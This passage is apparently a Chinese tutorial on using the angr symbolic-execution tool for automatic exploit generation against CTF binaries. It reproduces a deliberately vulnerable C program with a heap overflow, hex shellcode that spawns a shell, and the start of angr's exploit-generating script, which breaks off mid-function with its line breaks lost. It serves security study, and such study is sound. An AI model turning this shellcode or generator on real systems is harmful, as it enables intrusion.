前言
angr是一个基于python开发的一款符号执行工具,可以用于二进制分析,在CTF逆向中有很大的用途,例如可以通过约束求解找到复杂计算的正确解,从而拿到flag;然而angr的用途远不止于此,它甚至还能被用于AEG (Automatic Exploit Generation) ,有一个叫zeratool的工具实现了一些用于简单的pwn的AEG,AEG的步骤一般分为:
- 挖掘漏洞
- 生成利用exp
- 验证exp
zeratool采用的挖掘漏洞的方法是通过符号执行,遍历所有可能存在的约束路径,如果出现了 unconstrained 状态的路径,则认为产生了漏洞,本人在查看zeratool源码和动手实践的过程中发现这种挖掘方法不尽全面,只适用于一些单一漏洞的例子,再加上zeratool采用的angr版本为7.x,而最新的已经是8.x,8.x的api也发生了很大改变
因此想探究在angr 8.x上实现进一步的栈溢出漏洞探索和堆空间中UAF和Double_Free漏洞探索,本篇主要是分享一些对挖掘栈溢出漏洞的想法和心得,堆漏洞的在下篇,水平有限,大佬轻喷Orz
官方例子
先举一个官方的AEG的简单例子(在angr根目录的examples/insomnihack_aeg中)
#include #include #include char component_name[128] = {0};typedef struct component { char name[32]; int (*do_something)(int arg);} comp_t;int sample_func(int x) { printf(" - %s - recieved argument %d", component_name, x);}comp_t *initialize_component(char *cmp_name) { int i = 0; comp_t *cmp; cmp = malloc(sizeof(struct component)); cmp->do_something = sample_func; printf("Copying component name..."); while (*cmp_name) cmp->name[i++] = *cmp_name++; cmp->name[i] = '0'; return cmp;}int main(void){ comp_t *cmp; printf("Component Name:"); read(0, component_name, sizeof component_name); printf("Initializing component..."); cmp = initialize_component(component_name); printf("Running component..."); cmp->do_something(1);}
这里很明显可以看到有一个堆溢出漏洞,当component_name长度大于32时,会溢出覆盖到cmp->do_something成员,在之后的cmp->do_something(1)中,会导致程序崩溃
而官方给出的angr脚本如下
import osimport sysimport angrimport subprocessimport loggingfrom angr import sim_options as sol = logging.getLogger("insomnihack.simple_aeg")# shellcraft i386.linux.shshellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")def fully_symbolic(state, variable): ''' check if a symbolic variable is completely symbolic ''' for i in range(state.arch.bits): if not state.solver.symbolic(variable[i]): return False return Truedef check_continuity(address, addresses, length): ''' dumb way of checking if the region at 'address' contains 'length' amount of controlled memory. ''' for i in range(length): if not address + i in addresses: return False return Truedef find_symbolic_buffer(state, length): ''' dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's control ''' # get all the symbolic bytes from stdin stdin = state.posix.stdin sym_addrs = [ ] for _, symbol in state.solver.get_variables('file', stdin.ident): sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) for addr in sym_addrs: if check_continuity(addr, sym_addrs, length): yield addrdef main(binary): p = angr.Project(binary) binary_name = os.path.basename(binary) extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} es = p.factory.entry_state(add_options=extras) sm = p.factory.simulation_manager(es, save_unconstrained=True) # find a bu